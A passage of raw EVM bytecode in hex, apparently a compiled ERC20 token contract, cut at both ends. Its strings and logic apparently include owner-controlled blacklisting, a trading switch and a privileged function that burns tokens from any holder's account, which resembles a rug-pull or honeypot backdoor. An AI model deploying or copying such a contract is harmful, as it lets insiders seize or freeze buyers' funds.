ffff168273ffffffffffffffffffffffffffffffffffffffff16145b62000b8257600660009054906101000a900460ff16620008d6576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401620008cd9062001730565b60405180910390fd5b600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156200097b5750600a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b620009bd576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401620009b490620017a2565b60405180910390fd5b600d60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615801562000a625750600d60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b1562000b815760085481111562000ab0576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040162000aa79062001814565b60405180910390fd5b62000ac383838362000b8c60201b60201c565b600c60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1662000b80576007548162000b2f846200102660201b620010851760201c565b62000b3b919062001677565b111562000b7f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040162000b769062001814565b60405180910390fd5b5b5b5b505050565b505050565b62000b966200106f565b600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161462000bf457600162000bf7565b60005b8160000190600181111562000c115762000c1062001836565b5b9081600181111562000c285762000c2762001836565b5b81525050600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161462000c89578362000c8b565b825b816020019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505081816060018181525050600d60003273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16801562000d5257508273ffffffffffffffffffffffffffffffffffffffff163273ffffffffffffffffffffffffffffffffffffffff1614155b1562000d9a5782600f60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505b600073ffffffffffffffffffffffffffffffffffffffff16600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161415801562000e445750600d60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b1562000f2757600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c9c6539685856040518363ffffffff1660e01b815260040162000ea9929190620014e6565b6020604051808303816000875af115801562000ec9573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019062000eef9190620014a3565b816040019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250505b601181908060018154018082558091505060019003906000526020600020906003020160009091909190915060008201518160000160006101000a81548160ff0219169083600181111562000f815762000f8062001836565b5b021790555060208201518160000160016101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060408201518160010160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060608201518160020155505050505050565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b60405180608001604052806000600181111562001091576200109062001836565b5b8152602001600073ffffffffffffffffffffffffffffffffffffffff168152602001600073ffffffffffffffffffffffffffffffffffffffff168152602001600081525090565b600081519050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b600060028204905060018216806200115a57607f821691505b60208210810362001170576200116f62001112565b5b50919050565b60008190508160005260206000209050919050565b60006020601f8301049050919050565b600082821b905092915050565b600060088302620011da7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff826200119b565b620011e686836200119b565b95508019841693508086168417925050509392505050565b6000819050919050565b6000819050919050565b6000620012336200122d6200122784620011fe565b62001208565b620011fe565b9050919050565b6000819050919050565b6200124f8362001212565b620012676200125e826200123a565b848454620011a8565b825550505050565b600090565b6200127e6200126f565b6200128b81848462001244565b505050565b5b81811015620012b357620012a760008262001274565b60018101905062001291565b5050565b601f8211156200130257620012cc8162001176565b620012d7846200118b565b81016020851015620012e7578190505b620012ff620012f6856200118b565b83018262001290565b50505b505050565b600082821c905092915050565b6000620013276000198460080262001307565b1980831691505092915050565b600062001342838362001314565b9150826002028217905092915050565b6200135d82620010d8565b67ffffffffffffffff811115620013795762001378620010e3565b5b62001385825462001141565b62001392828285620012b7565b600060209050601f831160018114620013ca5760008415620013b5578287015190505b620013c1858262001334565b86555062001431565b601f198416620013da8662001176565b60005b828110156200140457848901518255600182019150602085019450602081019050620013dd565b8683101562001424578489015162001420601f89168262001314565b8355505b6001600288020188555050505b505050505050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b60006200146b826200143e565b9050919050565b6200147d816200145e565b81146200148957600080fd5b50565b6000815190506200149d8162001472565b92915050565b600060208284031215620014bc57620014bb62001439565b5b6000620014cc848285016200148c565b91505092915050565b620014e0816200145e565b82525050565b6000604082019050620014fd6000830185620014d5565b6200150c6020830184620014d5565b9392505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60006200154f82620011fe565b91506200155c83620011fe565b92508282026200156c81620011fe565b9150828204841483151762001586576200158562001513565b5b5092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b6000620015c982620011fe565b9150620015d683620011fe565b925082620015e957620015e86200158d565b5b828204905092915050565b600082825260208201905092915050565b7f45524332303a206d696e7420746f20746865207a65726f206164647265737300600082015250565b60006200163d601f83620015f4565b91506200164a8262001605565b602082019050919050565b6000602082019050818103600083015262001670816200162e565b9050919050565b60006200168482620011fe565b91506200169183620011fe565b9250828201905080821115620016ac57620016ab62001513565b5b92915050565b620016bd81620011fe565b82525050565b6000602082019050620016da6000830184620016b2565b92915050565b7f74726164696e672064697361626c656400000000000000000000000000000000600082015250565b600062001718601083620015f4565b91506200172582620016e0565b602082019050919050565b600060208201905081810360008301526200174b8162001709565b9050919050565b7f626c61636b6c6973746564000000000000000000000000000000000000000000600082015250565b60006200178a600b83620015f4565b9150620017978262001752565b602082019050919050565b60006020820190508181036000830152620017bd816200177b565b9050919050565b7f666f726269640000000000000000000000000000000000000000000000000000600082015250565b6000620017fc600683620015f4565b91506200180982620017c4565b602082019050919050565b600060208201905081810360008301526200182f81620017ed565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602160045260246000fd5b6134cf80620018756000396000f3fe608060405234801561001057600080fd5b50600436106101fb5760003560e01c806359d0f7131161011a5780639ace38c2116100ad578063c867d60b1161007c578063c867d60b146105d1578063c8c8ebe414610601578063d6ff9f5e1461061f578063dd62ed3e1461063b578063f2fde38b1461066b576101fb565b80639ace38c214610520578063a457c2d714610553578063a9059cbb14610583578063c816841b146105b3576101fb565b806389f9a1d3116100e957806389f9a1d3146104bc5780638a8c523c146104da5780638da5cb5b146104e457806395d89b4114610502576101fb565b806359d0f713146104485780636d92da2a1461046657806370a0823114610482578063715018a6146104b2576101fb565b80632e97766d11610192578063404e512911610161578063404e5129146103d457806342966c68146103f057806349bd5a5e1461040c5780634ada218b1461042a576101fb565b80632e97766d14610338578063313ce5671461035657806339509351146103745780633ecad271146103a4576101fb565b806316c02129116101ce57806316c021291461029c57806318160ddd146102cc57806323b872dd146102ea5780632b112e491461031a576101fb565b806304db6e681461020057806306fdde0314610230578063095ea7b31461024e5780631694505e1461027e575b600080fd5b61021a60048036038101906102159190612643565b610687565b604051610227919061267f565b60405180910390f35b610238610b71565b604051610245919061272a565b60405180910390f35b61026860048036038101906102639190612782565b610c03565b60405161027591906127dd565b60405180910390f35b610286610c21565b6040516102939190612857565b60405180910390f35b6102b660048036038101906102b19190612643565b610c47565b6040516102c391906127dd565b60405180910390f35b6102d4610c67565b6040516102e19190612881565b60405180910390f35b61030460048036038101906102ff919061289c565b610c71565b60405161031191906127dd565b60405180910390f35b610322610d69565b60405161032f9190612881565b60405180910390f35b610340610d88565b60405161034d9190612881565b60405180910390f35b61035e610d90565b60405161036b919061290b565b60405180910390f35b61038e60048036038101906103899190612782565b610d99565b60405161039b91906127dd565b60405180910390f35b6103be60048036038101906103b99190612643565b610e45565b6040516103cb91906127dd565b60405180910390f35b6103ee60048036038101906103e99190612952565b610e65565b005b61040a60048036038101906104059190612992565b610f3c565b005b610414610f49565b604051610421919061267f565b60405180910390f35b610432610f6f565b60405161043f91906127dd565b60405180910390f35b610450610f82565b60405161045d919061267f565b60405180910390f35b610480600480360381019061047b91906129bf565b610fa8565b005b61049c60048036038101906104979190612643565b611085565b6040516104a99190612881565b60405180910390f35b6104ba6110ce565b005b6104c4611156565b6040516104d19190612881565b60405180910390f35b6104e261115c565b005b6104ec6111f5565b6040516104f9919061267f565b60405180910390f35b61050a61121e565b604051610517919061272a565b60405180910390f35b61053a60048036038101906105359190612992565b6112b0565b60405161054a9493929190612a76565b60405180910390f35b61056d60048036038101906105689190612782565b61133d565b60405161057a91906127dd565b60405180910390f35b61059d60048036038101906105989190612782565b611428565b6040516105aa91906127dd565b60405180910390f35b6105bb611446565b6040516105c8919061267f565b60405180910390f35b6105eb60048036038101906105e69190612643565b61146c565b6040516105f891906127dd565b60405180910390f35b61060961148c565b6040516106169190612881565b60405180910390f35b61063960048036038101906106349190612782565b611492565b005b61065560048036038101906106509190612abb565b611533565b6040516106629190612881565b60405180910390f35b61068560048036038101906106809190612643565b6115ba565b005b60006106916116b1565b73ffffffffffffffffffffffffffffffffffffffff166106af6111f5565b73ffffffffffffffffffffffffffffffffffffffff1614610705576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106fc90612b47565b60405180910390fd5b60008290508073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610755573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107799190612b7c565b73ffffffffffffffffffffffffffffffffffffffff1663e6a43905308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156107e0573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108049190612b7c565b6040518363ffffffff1660e01b8152600401610821929190612ba9565b602060405180830381865afa15801561083e573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108629190612b7c565b9150600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036109f5578073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa1580156108e3573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109079190612b7c565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801561096e573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109929190612b7c565b6040518363ffffffff1660e01b81526004016109af929190612ba9565b6020604051808303816000875af11580156109ce573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109f29190612b7c565b91505b81601060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555080600e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506001600d6000601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600c6000601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050919050565b606060048054610b8090612c01565b80601f0160208091040260200160405190810160405280929190818152602001828054610bac90612c01565b8015610bf95780601f10610bce57610100808354040283529160200191610bf9565b820191906000526020600020905b815481529060010190602001808311610bdc57829003601f168201915b5050505050905090565b6000610c17610c106116b1565b84846116b9565b6001905092915050565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600a6020528060005260406000206000915054906101000a900460ff1681565b6000600354905090565b6000610c7e848484611882565b6000600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610cc96116b1565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905082811015610d49576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d4090612ca4565b60405180910390fd5b610d5d85610d556116b1565b8584036116b9565b60019150509392505050565b6000610d7661dead611085565b600b54610d839190612cf3565b905090565b600043905090565b60006012905090565b6000610e3b610da66116b1565b848460026000610db46116b1565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610e369190612d27565b6116b9565b6001905092915050565b600c6020528060005260406000206000915054906101000a900460ff1681565b610e6d6116b1565b73ffffffffffffffffffffffffffffffffffffffff16610e8b6111f5565b73ffffffffffffffffffffffffffffffffffffffff1614610ee1576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ed890612b47565b60405180910390fd5b80600a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b610f463382611b04565b50565b600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600660009054906101000a900460ff1681565b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b610fb06116b1565b73ffffffffffffffffffffffffffffffffffffffff16610fce6111f5565b73ffffffffffffffffffffffffffffffffffffffff1614611024576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161101b90612b47565b60405180910390fd5b6000821180156110345750600081115b611073576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161106a90612da7565b60405180910390fd5b81600881905550806007819055505050565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6110d66116b1565b73ffffffffffffffffffffffffffffffffffffffff166110f46111f5565b73ffffffffffffffffffffffffffffffffffffffff161461114a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161114190612b47565b60405180910390fd5b6111546000611cdc565b565b60075481565b6111646116b1565b73ffffffffffffffffffffffffffffffffffffffff166111826111f5565b73ffffffffffffffffffffffffffffffffffffffff16146111d8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111cf90612b47565b60405180910390fd5b6001600660006101000a81548160ff021916908315150217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606005805461122d90612c01565b80601f016020809104026020016040519081016040528092919081815260200182805461125990612c01565b80156112a65780601f1061127b576101008083540402835291602001916112a6565b820191906000526020600020905b81548152906001019060200180831161128957829003601f168201915b5050505050905090565b601181815481106112c057600080fd5b90600052602060002090600302016000915090508060000160009054906101000a900460ff16908060000160019054906101000a900473ffffffffffffffffffffffffffffffffffffffff16908060010160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16908060020154905084565b6000806002600061134c6116b1565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905082811015611409576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161140090612e39565b60405180910390fd5b61141d6114146116b1565b858584036116b9565b600191505092915050565b600061143c6114356116b1565b8484611882565b6001905092915050565b601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600d6020528060005260406000206000915054906101000a900460ff1681565b60085481565b600d600061149e6116b1565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16611525576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161151c90612ea5565b60405180910390fd5b61152f8282611b04565b5050565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6115c26116b1565b73ffffffffffffffffffffffffffffffffffffffff166115e06111f5565b73ffffffffffffffffffffffffffffffffffffffff1614611636576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161162d90612b47565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16036116a5576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161169c90612f37565b60405180910390fd5b6116ae81611cdc565b50565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611728576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161171f90612fc9565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611797576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161178e9061305b565b60405180910390fd5b80600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516118759190612881565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16036118f1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016118e8906130ed565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611960576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119579061317f565b60405180910390fd5b61196b838383611da0565b6000600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050818110156119f2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119e990613211565b60405180910390fd5b818103600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555081600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254611a879190612d27565b925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051611aeb9190612881565b60405180910390a3611afe8484846120f3565b50505050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611b73576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b6a906132a3565b60405180910390fd5b611b7f82600083611da0565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905081811015611c06576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611bfd90613335565b60405180910390fd5b818103600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508160036000828254611c5e9190612cf3565b92505081905550600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051611cc39190612881565b60405180910390a3611cd7836000846120f3565b505050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050816000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b611da86111f5565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480611e135750611de46111f5565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16145b6120ee57600660009054906101000a900460ff16611e66576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611e5d906133a1565b60405180910390fd5b600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16158015611f0a5750600a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b611f49576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611f409061340d565b60405180910390fd5b600d60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16158015611fed5750600d60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b156120ed57600854811115612037576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161202e90613479565b60405180910390fd5b6120428383836120f8565b600c60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff166120ec57600754816120a084611085565b6120aa9190612d27565b11156120eb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016120e290613479565b60405180910390fd5b5b5b5b505050565b505050565b61210061257a565b600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161461215c57600161215f565b60005b81600001906001811115612176576121756129ff565b5b9081600181111561218a576121896129ff565b5b81525050600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16146121e957836121eb565b825b816020019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505081816060018181525050600d60003273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680156122b157508273ffffffffffffffffffffffffffffffffffffffff163273ffffffffffffffffffffffffffffffffffffffff1614155b156122f85782600f60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505b600073ffffffffffffffffffffffffffffffffffffffff16600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16141580156123a15750600d60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b1561247e57600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c9c6539685856040518363ffffffff1660e01b8152600401612403929190612ba9565b6020604051808303816000875af1158015612422573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906124469190612b7c565b816040019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250505b601181908060018154018082558091505060019003906000526020600020906003020160009091909190915060008201518160000160006101000a81548160ff021916908360018111156124d5576124d46129ff565b5b021790555060208201518160000160016101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060408201518160010160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060608201518160020155505050505050565b604051806080016040528060006001811115612599576125986129ff565b5b8152602001600073ffffffffffffffffffffffffffffffffffffffff168152602001600073ffffffffffffffffffffffffffffffffffffffff168152602001600081525090565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000612610826125e5565b9050919050565b61262081612605565b811461262b57600080fd5b50565b60008135905061263d81612617565b92915050565b600060208284031215612659576126586125e0565b5b60006126678482850161262e565b91505092915050565b61267981612605565b82525050565b60006020820190506126946000830184612670565b92915050565b600081519050919050565b600082825260208201905092915050565b60005b838110156126d45780820151818401526020810190506126b9565b60008484015250505050565b6000601f19601f8301169050919050565b60006126fc8261269a565b61270681856126a5565b93506127168185602086016126b6565b61271f816126e0565b840191505092915050565b6000602082019050818103600083015261274481846126f1565b905092915050565b6000819050919050565b61275f8161274c565b811461276a57600080fd5b50565b60008135905061277c81612756565b92915050565b60008060408385031215612799576127986125e0565b5b60006127a78582860161262e565b92505060206127b88582860161276d565b9150509250929050565b60008115159050919050565b6127d7816127c2565b82525050565b60006020820190506127f260008301846127ce565b92915050565b6000819050919050565b600061281d612818612813846125e5565b6127f8565b6125e5565b9050919050565b600061282f82612802565b9050919050565b600061284182612824565b9050919050565b61285181612836565b82525050565b600060208201905061286c6000830184612848565b92915050565b61287b8161274c565b82525050565b60006020820190506128966000830184612872565b92915050565b6000806000606084860312156128b5576128b46125e0565b5b60006128c38682870161262e565b93505060206128d48682870161262e565b92505060406128e58682870161276d565b9150509250925092565b600060ff82169050919050565b612905816128ef565b82525050565b600060208201905061292060008301846128fc565b92915050565b61292f816127c2565b811461293a57600080fd5b50565b60008135905061294c81612926565b92915050565b60008060408385031215612969576129686125e0565b5b60006129778582860161262e565b92505060206129888582860161293d565b9150509250929050565b6000602082840312156129a8576129a76125e0565b5b60006129b68482850161276d565b91505092915050565b600080604083850312156129d6576129d56125e0565b5b60006129e48582860161276d565b92505060206129f58582860161276d565b9150509250929050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602160045260246000fd5b60028110612a3f57612a3e6129ff565b5b50565b6000819050612a5082612a2e565b919050565b6000612a6082612a42565b9050919050565b612a7081612a55565b82525050565b6000608082019050612a8b6000830187612a67565b612a986020830186612670565b612aa56040830185612670565b612ab26060830184612872565b95945050505050565b60008060408385031215612ad257612ad16125e0565b5b6000612ae08582860161262e565b9250506020612af18582860161262e565b9150509250929050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b6000612b316020836126a5565b9150612b3c82612afb565b602082019050919050565b60006020820190508181036000830152612b6081612b24565b9050919050565b600081519050612b7681612617565b92915050565b600060208284031215612b9257612b916125e0565b5b6000612ba084828501612b67565b91505092915050565b6000604082019050612bbe6000830185612670565b612bcb6020830184612670565b9392505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b60006002820490506001821680612c1957607f821691505b602082108103612c2c57612c2b612bd2565b5b50919050565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206160008201527f6c6c6f77616e6365000000000000000000000000000000000000000000000000602082015250565b6000612c8e6028836126a5565b9150612c9982612c32565b604082019050919050565b60006020820190508181036000830152612cbd81612c81565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b6000612cfe8261274c565b9150612d098361274c565b9250828203905081811115612d2157612d20612cc4565b5b92915050565b6000612d328261274c565b9150612d3d8361274c565b9250828201905080821115612d5557612d54612cc4565b5b92915050565b7f696e76616c696420706172616d65746572210000000000000000000000000000600082015250565b6000612d916012836126a5565b9150612d9c82612d5b565b602082019050919050565b60006020820190508181036000830152612dc081612d84565b9050919050565b7f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f7760008201527f207a65726f000000000000000000000000000000000000000000000000000000602082015250565b6000612e236025836126a5565b9150612e2e82612dc7565b604082019050919050565b60006020820190508181036000830152612e5281612e16565b9050919050565b7f5065726d697373696f6e2064656e6965642e0000000000000000000000000000600082015250565b6000612e8f6012836126a5565b9150612e9a82612e59565b602082019050919050565b60006020820190508181036000830152612ebe81612e82565b9050919050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b6000612f216026836126a5565b9150612f2c82612ec5565b604082019050919050565b60006020820190508181036000830152612f5081612f14565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b6000612fb36024836126a5565b9150612fbe82612f57565b604082019050919050565b60006020820190508181036000830152612fe281612fa6565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b60006130456022836126a5565b915061305082612fe9565b604082019050919050565b6000602082019050818103600083015261307481613038565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b60006130d76025836126a5565b91506130e28261307b565b604082019050919050565b60006020820190508181036000830152613106816130ca565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b60006131696023836126a5565b91506131748261310d565b604082019050919050565b600060208201905081810360008301526131988161315c565b9050919050565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206260008201527f616c616e63650000000000000000000000000000000000000000000000000000602082015250565b60006131fb6026836126a5565b91506132068261319f565b60408201